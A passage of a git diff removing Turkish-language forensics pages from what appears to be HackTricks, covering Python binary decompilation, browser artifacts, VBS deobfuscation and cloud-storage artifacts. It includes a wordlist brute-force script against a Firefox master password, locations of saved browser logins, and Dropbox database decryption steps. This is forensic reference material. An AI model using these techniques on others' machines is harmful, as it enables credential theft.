**filtreler** kullanabilirsiniz: `wlan.addr== && (ftp || http || ssh || telnet)`. ftp/http/ssh/telnet filtrelerinin, trafiği şifrelediyseniz faydalı olduğunu unutmayın. - -# Trafiği Şifre Çözme - -Düzenle --> Tercihler --> Protokoller --> IEEE 802.11--> Düzenle - -![](<../../../images/image (426).png>) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md deleted file mode 100644 index b4df39ab6..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ /dev/null @@ -1,202 +0,0 @@ -# Derlenmiş python ikili dosyalarını decompile et (exe, elf) - .pyc'den al - -{{#include ../../../banners/hacktricks-training.md}} - - -## Derlenmiş İkili Dosyadan .pyc'ye - -Bir **ELF** derlenmiş ikili dosyasından **.pyc'yi** alabilirsiniz: -```bash -pyi-archive_viewer -# The list of python modules will be given here: -[(0, 230, 311, 1, 'm', 'struct'), -(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), -(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), -(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), -(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), -(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), -(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), -(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), -(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), -(15535, 2514, 4421, 1, 's', 'binary_name'), -... - -? X binary_name -to filename? /tmp/binary.pyc -``` -Bir **python exe ikili** dosyasında **.pyc** dosyasını almak için şunu çalıştırabilirsiniz: -```bash -python pyinstxtractor.py executable.exe -``` -## .pyc'den python koduna - -**.pyc** verisi ("derlenmiş" python) için **orijinal** **python** **kodunu** **çıkarmaya** **çalışmaya** başlamalısınız: -```bash -uncompyle6 binary.pyc > decompiled.py -``` -**Kesin olun** ki, ikili dosyanın **uzantısı** "**.pyc**"dir (değilse, uncompyle6 çalışmayacaktır) - -**uncompyle6** çalıştırırken **aşağıdaki hatalarla** karşılaşabilirsiniz: - -### Hata: Bilinmeyen sihirli sayı 227 -```bash -/kali/.local/bin/uncompyle6 /tmp/binary.pyc -Unknown magic number 227 in /tmp/binary.pyc -``` -Bunu düzeltmek için **oluşturulan dosyanın başına doğru sihirli numarayı eklemeniz** gerekiyor. - -**Sihirli numaralar python sürümüne göre değişir**, **python 3.8**'in sihirli numarasını almak için **bir python 3.8** terminali açmalı ve şunu çalıştırmalısınız: -``` ->> import imp ->> imp.get_magic().hex() -'550d0d0a' -``` -Bu durumda python3.8 için **magic number** **`0x550d0d0a`**'dır, ardından bu hatayı düzeltmek için **.pyc dosyasının** **başına** aşağıdaki baytları **eklemeniz** gerekecek: `0x0d550a0d000000000000000000000000` - -**Oluşturduğunuzda** bu magic başlığı **eklenmiş** olmalıdır, **hata düzeltilmiş olmalıdır.** - -Doğru bir şekilde eklenmiş **.pyc python3.8 magic header** şu şekilde görünecektir: -```bash -hexdump 'binary.pyc' | head -0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 -0000010 00e3 0000 0000 0000 0000 0000 0000 0000 -0000020 0700 0000 4000 0000 7300 0132 0000 0064 -0000030 0164 006c 005a 0064 0164 016c 015a 0064 -``` -### Hata: Genel hataların dekompile edilmesi - -**Diğer hatalar** şunlar gibi: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` görünebilir. - -Bu muhtemelen **büyülü numarayı doğru eklemediğiniz** veya **doğru büyülü numarayı kullanmadığınız** anlamına gelir, bu yüzden **doğru olanı kullandığınızdan emin olun** (veya yeni bir tane deneyin). - -Önceki hata belgelerini kontrol edin. - -## Otomatik Araç - -[**python-exe-unpacker aracı**](https://github.com/countercept/python-exe-unpacker), Python ile yazılmış yürütülebilir dosyaları, özellikle py2exe ve pyinstaller ile oluşturulanları açma ve dekompile etme konusunda araştırmacılara yardımcı olmak için tasarlanmış birkaç toplulukta mevcut aracın bir kombinasyonu olarak hizmet eder. Python tabanlı bir yürütülebilir dosyanın tanımlanması için YARA kuralları içerir ve oluşturma aracını doğrular. - -### ImportError: Dosya adı: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' mevcut değil - -Karşılaşılan yaygın bir sorun, **unpy2exe veya pyinstxtractor ile açma işlemi sonucunda** oluşan eksik bir Python bayt kodu dosyasıdır; bu dosya daha sonra **eksik bir Python bayt kodu sürüm numarası nedeniyle uncompyle6 tarafından tanınmamaktadır**. Bunu çözmek için, gerekli Python bayt kodu sürüm numarasını ekleyen bir ön ek seçeneği eklenmiştir, bu da dekompile etme sürecini kolaylaştırır. - -Sorunun örneği: -```python -# Error when attempting to decompile without the prepend option -test@test: uncompyle6 unpacked/malware_3.exe/archive.py -Traceback (most recent call last): -... -ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist -``` - -```python -# Successful decompilation after using the prepend option -test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive -[*] On Python 2.7 -[+] Magic bytes are already appended. - -# Successfully decompiled file -[+] Successfully decompiled. -``` -## Python montajını analiz etme - -Eğer önceki adımları takip ederek python "orijinal" kodunu çıkaramadıysanız, o zaman **montajı** **çıkarma**yı deneyebilirsiniz (ama **çok açıklayıcı değil**, bu yüzden **orijinal kodu** **tekrar** çıkarmayı deneyin). [Burada](https://bits.theorem.co/protecting-a-python-codebase/) _.pyc_ ikili dosyasını **dağıtmak** için çok basit bir kod buldum (kod akışını anlamakta iyi şanslar). Eğer _.pyc_ python2'den ise, python2 kullanın: -```bash ->>> import dis ->>> import marshal ->>> import struct ->>> import imp ->>> ->>> with open('hello.pyc', 'r') as f: # Read the binary file -... magic = f.read(4) -... timestamp = f.read(4) -... code = f.read() -... ->>> ->>> # Unpack the structured content and un-marshal the code ->>> magic = struct.unpack('>> timestamp = struct.unpack('>> code = marshal.loads(code) ->>> magic, timestamp, code -((62211,), (1425911959,), at 0x7fd54f90d5b0, file "hello.py", line 1>) ->>> ->>> # Verify if the magic number corresponds with the current python version ->>> struct.unpack('>> ->>> # Disassemble the code object ->>> dis.disassemble(code) -1 0 LOAD_CONST 0 () -3 MAKE_FUNCTION 0 -6 STORE_NAME 0 (hello_world) -9 LOAD_CONST 1 (None) -12 RETURN_VALUE ->>> ->>> # Also disassemble that const being loaded (our function) ->>> dis.disassemble(code.co_consts[0]) -2 0 LOAD_CONST 1 ('Hello {0}') -3 LOAD_ATTR 0 (format) -6 LOAD_FAST 0 (name) -9 CALL_FUNCTION 1 -12 PRINT_ITEM -13 PRINT_NEWLINE -14 LOAD_CONST 0 (None) -17 RETURN_VALUE -``` -## Python'dan Çalıştırılabilir Dosyaya - -Başlamak için, payload'ların py2exe ve PyInstaller ile nasıl derlenebileceğini göstereceğiz. - -### py2exe kullanarak bir payload oluşturmak için: - -1. [http://www.py2exe.org/](http://www.py2exe.org) adresinden py2exe paketini yükleyin. -2. Payload için (bu durumda, hello.py adını vereceğiz), Şekil 1'deki gibi bir betik kullanın. "bundle_files" seçeneği 1 değeri ile, Python yorumlayıcısı da dahil olmak üzere her şeyi tek bir exe dosyasında birleştirecektir. -3. Betik hazır olduğunda, “python setup.py py2exe” komutunu vereceğiz. Bu, Şekil 2'deki gibi çalıştırılabilir dosyayı oluşturacaktır. -```python -from distutils.core import setup -import py2exe, sys, os - -sys.argv.append('py2exe') - -setup( -options = {'py2exe': {'bundle_files': 1}}, -#windows = [{'script': "hello.py"}], -console = [{'script': "hello.py"}], -zipfile = None, -) -``` - -```bash -C:\Users\test\Desktop\test>python setup.py py2exe -running py2exe -*** searching for required modules *** -*** parsing results *** -*** finding dlls needed *** -*** create binaries *** -*** byte compile python files *** -*** copy extensions *** -*** copy dlls *** -copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe -Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe -``` -### PyInstaller kullanarak bir payload oluşturmak için: - -1. PyInstaller'ı pip ile kurun (pip install pyinstaller). -2. Daha sonra “pyinstaller –onefile hello.py” komutunu vereceğiz (hatırlatma olarak ‘hello.py’ payload'ımızdır). Bu, her şeyi tek bir çalıştırılabilir dosyada birleştirecektir. -``` -C:\Users\test\Desktop\test>pyinstaller --onefile hello.py -108 INFO: PyInstaller: 3.3.1 -108 INFO: Python: 2.7.14 -108 INFO: Platform: Windows-10-10.0.16299 -……………………………… -5967 INFO: checking EXE -5967 INFO: Building EXE because out00-EXE.toc is non existent -5982 INFO: Building EXE from out00-EXE.toc -5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe -6325 INFO: Building EXE from out00-EXE.toc completed successfully. -``` -## Referanslar - -- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md deleted file mode 100644 index dada19a97..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ /dev/null @@ -1,41 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Burada belirli dosya türleri ve/veya yazılımlar için ilginç ipuçları bulabilirsiniz: - -{{#ref}} -.pyc.md -{{#endref}} - -{{#ref}} -browser-artifacts.md -{{#endref}} - -{{#ref}} -desofuscation-vbs-cscript.exe.md -{{#endref}} - -{{#ref}} -local-cloud-storage.md -{{#endref}} - -{{#ref}} -office-file-analysis.md -{{#endref}} - -{{#ref}} -pdf-file-analysis.md -{{#endref}} - -{{#ref}} -png-tricks.md -{{#endref}} - -{{#ref}} -video-and-audio-file-analysis.md -{{#endref}} - -{{#ref}} -zips-tricks.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md deleted file mode 100644 index b00ebaef0..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ /dev/null @@ -1,162 +0,0 @@ -# Tarayıcı Artifaktları - -{{#include ../../../banners/hacktricks-training.md}} - -## Tarayıcı Artifaktları - -Tarayıcı artifaktları, web tarayıcıları tarafından saklanan çeşitli veri türlerini içerir; bunlar arasında gezinme geçmişi, yer imleri ve önbellek verileri bulunur. Bu artifaktlar, işletim sistemi içinde belirli klasörlerde saklanır, konum ve isim açısından tarayıcılar arasında farklılık gösterir, ancak genellikle benzer veri türlerini depolar. - -En yaygın tarayıcı artifaktlarının bir özeti: - -- **Geçmiş**: Kullanıcıların web sitelerine yaptığı ziyaretleri takip eder, kötü niyetli sitelere yapılan ziyaretleri belirlemek için faydalıdır. -- **Otomatik Tamamlama Verileri**: Sık yapılan aramalara dayalı öneriler, gezinme geçmişi ile birleştirildiğinde içgörüler sunar. -- **Yer İmleri**: Kullanıcı tarafından hızlı erişim için kaydedilen siteler. -- **Uzantılar ve Eklentiler**: Kullanıcı tarafından yüklenen tarayıcı uzantıları veya eklentileri. -- **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) saklar, web sitesi yükleme sürelerini iyileştirir, adli analiz için değerlidir. -- **Girişler**: Saklanan giriş kimlik bilgileri. -- **Favikonlar**: Web siteleriyle ilişkili simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgi sağlar. -- **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler. -- **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları. -- **Form Verileri**: Web formlarına girilen bilgiler, gelecekteki otomatik doldurma önerileri için saklanır. -- **Küçük Resimler**: Web sitelerinin önizleme resimleri. -- **Custom Dictionary.txt**: Kullanıcı tarafından tarayıcının sözlüğüne eklenen kelimeler. - -## Firefox - -Firefox, kullanıcı verilerini profiller içinde düzenler, bu profiller işletim sistemine bağlı olarak belirli konumlarda saklanır: - -- **Linux**: `~/.mozilla/firefox/` -- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` -- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` - -Bu dizinlerdeki `profiles.ini` dosyası, kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` içindeki `Path` değişkeninde belirtilen bir klasörde saklanır ve bu klasör `profiles.ini` ile aynı dizinde bulunur. Bir profilin klasörü eksikse, silinmiş olabilir. - -Her profil klasöründe, birkaç önemli dosya bulabilirsiniz: - -- **places.sqlite**: Geçmiş, yer imleri ve indirmeleri saklar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) gibi araçlar geçmiş verilerine erişebilir. -- Geçmiş ve indirme bilgilerini çıkarmak için belirli SQL sorguları kullanın. -- **bookmarkbackups**: Yer imlerinin yedeklerini içerir. -- **formhistory.sqlite**: Web form verilerini saklar. -- **handlers.json**: Protokol yöneticilerini yönetir. -- **persdict.dat**: Özel sözlük kelimeleri. -- **addons.json** ve **extensions.sqlite**: Yüklenen eklentiler ve uzantılar hakkında bilgi. -- **cookies.sqlite**: Çerez depolama, Windows'ta [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) ile denetlenebilir. -- **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) gibi araçlar aracılığıyla erişilebilir. -- **favicons.sqlite**: Favikonları saklar. -- **prefs.js**: Kullanıcı ayarları ve tercihleri. -- **downloads.sqlite**: Eski indirme veritabanı, artık places.sqlite içine entegre edilmiştir. -- **thumbnails**: Web sitesi küçük resimleri. -- **logins.json**: Şifrelenmiş giriş bilgileri. -- **key4.db** veya **key3.db**: Hassas bilgileri güvence altına almak için şifreleme anahtarlarını saklar. - -Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` içinde `browser.safebrowsing` girdilerini arayarak güvenli gezinme özelliklerinin etkinleştirilip etkinleştirilmediğini belirleyebilirsiniz. - -Ana şifreyi çözmeye çalışmak için [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) kullanabilirsiniz.\ -Aşağıdaki betik ve çağrı ile bir şifre dosyasını zorlamak için belirtebilirsiniz: -```bash:brute.sh -#!/bin/bash - -#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" -passfile=$1 -while read pass; do -echo "Trying $pass" -echo "$pass" | python firefox_decrypt.py -done < $passfile -``` -![](<../../../images/image (417).png>) - -## Google Chrome - -Google Chrome, işletim sistemine bağlı olarak kullanıcı profillerini belirli konumlarda saklar: - -- **Linux**: `~/.config/google-chrome/` -- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` -- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` - -Bu dizinler içinde, çoğu kullanıcı verisi **Default/** veya **ChromeDefaultData/** klasörlerinde bulunabilir. Aşağıdaki dosyalar önemli veriler içerir: - -- **History**: URL'ler, indirmeler ve arama anahtar kelimelerini içerir. Windows'ta, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) kullanılarak geçmiş okunabilir. "Transition Type" sütunu, kullanıcıların bağlantılara tıklamaları, yazılan URL'ler, form gönderimleri ve sayfa yenilemeleri gibi çeşitli anlamlar taşır. -- **Cookies**: Çerezleri saklar. İnceleme için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) mevcuttur. -- **Cache**: Önbelleğe alınmış verileri tutar. İncelemek için Windows kullanıcıları [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) kullanabilir. -- **Bookmarks**: Kullanıcı yer imleri. -- **Web Data**: Form geçmişini içerir. -- **Favicons**: Web sitesi favicon'larını saklar. -- **Login Data**: Kullanıcı adları ve şifreler gibi giriş bilgilerini içerir. -- **Current Session**/**Current Tabs**: Mevcut tarayıcı oturumu ve açık sekmeler hakkında veriler. -- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan siteler hakkında bilgiler. -- **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler. -- **Thumbnails**: Web sitesi küçük resimlerini saklar. -- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren bilgi açısından zengin bir dosya. -- **Browser’ın yerleşik anti-phishing**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` arayın. - -## **SQLite DB Veri Kurtarma** - -Önceki bölümlerde gözlemlediğiniz gibi, hem Chrome hem de Firefox verileri saklamak için **SQLite** veritabanları kullanır. **Silinmiş girişleri kurtarmak için** [**sqlparse**](https://github.com/padfoot999/sqlparse) **veya** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **aracını kullanmak mümkündür.** - -## **Internet Explorer 11** - -Internet Explorer 11, verilerini ve meta verilerini çeşitli konumlarda yönetir, bu da saklanan bilgilerin ve ilgili detayların kolay erişim ve yönetim için ayrılmasına yardımcı olur. - -### Meta Veri Saklama - -Internet Explorer için meta veriler `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` içinde saklanır (VX V01, V16 veya V24 olabilir). Bununla birlikte, `V01.log` dosyası `WebcacheVX.data` ile değişiklik zamanı tutarsızlıklarını gösterebilir, bu da `esentutl /r V01 /d` kullanarak onarım gerektirdiğini gösterir. Bu meta veriler, bir ESE veritabanında saklanır ve photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosunda, her veri segmentinin saklandığı belirli tablolar veya konteynerler, diğer Microsoft araçları için önbellek detayları da dahil olmak üzere, belirlenebilir. - -### Önbellek İncelemesi - -[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) aracı, önbellek incelemesi için önbellek verisi çıkarım klasör konumunu gerektirir. Önbellek için meta veriler dosya adı, dizin, erişim sayısı, URL kaynağı ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir. - -### Çerez Yönetimi - -Çerezler [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir, meta veriler isimler, URL'ler, erişim sayıları ve çeşitli zamanla ilgili detayları kapsar. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte bulunur. - -### İndirme Detayları - -İndirme meta verileri [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracılığıyla erişilebilir, belirli konteynerler URL, dosya türü ve indirme konumu gibi verileri tutar. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir. - -### Tarayıcı Geçmişi - -Tarayıcı geçmişini gözden geçirmek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) kullanılabilir, çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Buradaki meta veriler, değişiklik ve erişim zamanlarını, ayrıca erişim sayısını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` içinde yer alır. - -### Yazılan URL'ler - -Yazılan URL'ler ve kullanım zamanları, `NTUSER.DAT` içinde `Software\Microsoft\InternetExplorer\TypedURLs` ve `Software\Microsoft\InternetExplorer\TypedURLsTime` altında saklanır, kullanıcının girdiği son 50 URL ve son giriş zamanlarını takip eder. - -## Microsoft Edge - -Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` içinde saklar. Çeşitli veri türleri için yollar: - -- **Profil Yolu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` -- **Geçmiş, Çerezler ve İndirmeler**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` -- **Ayarlar, Yer İmleri ve Okuma Listesi**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` -- **Önbellek**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` -- **Son Aktif Oturumlar**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` - -## Safari - -Safari verileri `/Users/$User/Library/Safari` içinde saklanır. Ana dosyalar: - -- **History.db**: `history_visits` ve `history_items` tablolarını içerir, URL'ler ve ziyaret zaman damgaları ile. Sorgulamak için `sqlite3` kullanın. -- **Downloads.plist**: İndirilen dosyalar hakkında bilgi. -- **Bookmarks.plist**: Yerleştirilen URL'leri saklar. -- **TopSites.plist**: En sık ziyaret edilen siteler. -- **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın. -- **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın. -- **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın. -- **Browser’ın yerleşik anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` kullanarak kontrol edin. 1 yanıtı, özelliğin aktif olduğunu gösterir. - -## Opera - -Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde bulunur ve geçmiş ile indirmeler için Chrome'un formatını paylaşır. - -- **Browser’ın yerleşik anti-phishing**: `Preferences` dosyasında `fraud_protection_enabled` değerinin `true` olarak ayarlandığını kontrol ederek doğrulayın, `grep` kullanarak. - -Bu yollar ve komutlar, farklı web tarayıcıları tarafından saklanan tarayıcı verilerine erişim ve anlama açısından kritik öneme sahiptir. - -## References - -- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) -- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) -- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) -- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md deleted file mode 100644 index cfc679bf9..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ /dev/null @@ -1,42 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Kötü niyetli bir VBS dosyasını hata ayıklamak/deobfuscate etmek için faydalı olabilecek bazı şeyler: - -## echo -```bash -Wscript.Echo "Like this?" -``` -## Yorumlar -```bash -' this is a comment -``` -## Test -```bash -cscript.exe file.vbs -``` -## Bir dosyaya veri yazma -```js -Function writeBinary(strBinary, strPath) - -Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - -' below lines purpose: checks that write access is possible! -Dim oTxtStream - -On Error Resume Next -Set oTxtStream = oFSO.createTextFile(strPath) - -If Err.number <> 0 Then MsgBox(Err.message) : Exit Function -On Error GoTo 0 - -Set oTxtStream = Nothing -' end check of write access - -With oFSO.createTextFile(strPath) -.Write(strBinary) -.Close -End With - -End Function -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md deleted file mode 100644 index 9673e419e..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ /dev/null @@ -1,97 +0,0 @@ -# Yerel Bulut Depolama - -{{#include ../../../banners/hacktricks-training.md}} - - -## OneDrive - -Windows'ta, OneDrive klasörünü `\Users\\AppData\Local\Microsoft\OneDrive` içinde bulabilirsiniz. Ve `logs\Personal` içinde, senkronize edilmiş dosyalarla ilgili bazı ilginç verileri içeren `SyncDiagnostics.log` dosyasını bulmak mümkündür: - -- Boyut (bayt cinsinden) -- Oluşturulma tarihi -- Değiştirilme tarihi -- Buluttaki dosya sayısı -- Klasördeki dosya sayısı -- **CID**: OneDrive kullanıcısının benzersiz kimliği -- Rapor oluşturma zamanı -- İşletim sisteminin HD boyutu - -CID'yi bulduktan sonra, **bu kimliği içeren dosyaları aramanız önerilir**. _**\.ini**_ ve _**\.dat**_ gibi ilginç bilgiler içerebilecek dosyaları bulabilirsiniz; bu dosyalar OneDrive ile senkronize edilmiş dosyaların adlarını içerebilir. - -## Google Drive - -Windows'ta, ana Google Drive klasörünü `\Users\\AppData\Local\Google\Drive\user_default` içinde bulabilirsiniz.\ -Bu klasör, hesap e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 hash'leri gibi bilgileri içeren Sync_log.log adında bir dosya içerir. Silinmiş dosyalar bile bu günlük dosyasında ilgili MD5 ile görünmektedir. - -**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda, **senkronize** **dosyaların** **adı**, değiştirilme zamanı, boyut ve dosyaların MD5 kontrol toplamını bulabilirsiniz. - -**`Sync_config.db`** veritabanının tablo verileri, hesap e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir. - -## Dropbox - -Dropbox, dosyaları yönetmek için **SQLite veritabanları** kullanır. Bu\ -Veritabanlarını şu klasörlerde bulabilirsiniz: - -- `\Users\\AppData\Local\Dropbox` -- `\Users\\AppData\Local\Dropbox\Instance1` -- `\Users\\AppData\Roaming\Dropbox` - -Ve ana veritabanları şunlardır: - -- Sigstore.dbx -- Filecache.dbx -- Deleted.dbx -- Config.dbx - -".dbx" uzantısı, **veritabanlarının** **şifreli** olduğunu gösterir. Dropbox, **DPAPI** kullanır ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) - -Dropbox'un kullandığı şifrelemeyi daha iyi anlamak için [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) adresini okuyabilirsiniz. - -Ancak, ana bilgiler şunlardır: - -- **Entropy**: d114a55212655f74bd772e37e64aee9b -- **Salt**: 0D638C092E8B82FC452883F95F355B8E -- **Algorithm**: PBKDF2 -- **Iterations**: 1066 - -Bu bilgilere ek olarak, veritabanlarını şifrelerini çözmek için hala şunlara ihtiyacınız var: - -- **şifreli DPAPI anahtarı**: Bunu `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın) -- **`SYSTEM`** ve **`SECURITY`** hives -- **DPAPI anahtarları**: `\Users\\AppData\Roaming\Microsoft\Protect` içinde bulunabilir -- Windows kullanıcısının **kullanıcı adı** ve **şifresi** - -Sonra [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)** aracını kullanabilirsiniz:** - -![](<../../../images/image (448).png>) - -Her şey beklendiği gibi giderse, araç, **orijinalini geri kazanmak için kullanmanız gereken anahtarı** gösterecektir. Orijinalini geri kazanmak için, bu [cyber_chef tarifi]() kullanarak anahtarı tarifin "şifre" kısmına koyun. - -Sonuçta elde edilen hex, veritabanlarını şifrelemek için kullanılan nihai anahtardır ve şu şekilde şifresi çözülebilir: -```bash -sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db -``` -**`config.dbx`** veritabanı şunları içerir: - -- **Email**: Kullanıcının e-posta adresi -- **usernamedisplayname**: Kullanıcının adı -- **dropbox_path**: Dropbox klasörünün bulunduğu yol -- **Host_id: Hash**: Buluta kimlik doğrulamak için kullanılan hash. Bu yalnızca web üzerinden iptal edilebilir. -- **Root_ns**: Kullanıcı tanımlayıcısı - -**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosyalar ve klasörler hakkında bilgi içerir. `File_journal` tablosu daha fazla yararlı bilgiye sahiptir: - -- **Server_path**: Dosyanın sunucu içindeki bulunduğu yol (bu yol, istemcinin `host_id` ile önceden gelir). -- **local_sjid**: Dosyanın versiyonu -- **local_mtime**: Değiştirilme tarihi -- **local_ctime**: Oluşturulma tarihi - -Bu veritabanındaki diğer tablolar daha ilginç bilgiler içerir: - -- **block_cache**: Dropbox'ın tüm dosya ve klasörlerinin hash'i -- **block_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'si ile ilişkilendirir -- **mount_table**: Dropbox'ın paylaşılan klasörleri -- **deleted_fields**: Dropbox'tan silinen dosyalar -- **date_added** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md deleted file mode 100644 index 329e5d78e..000000000 --- 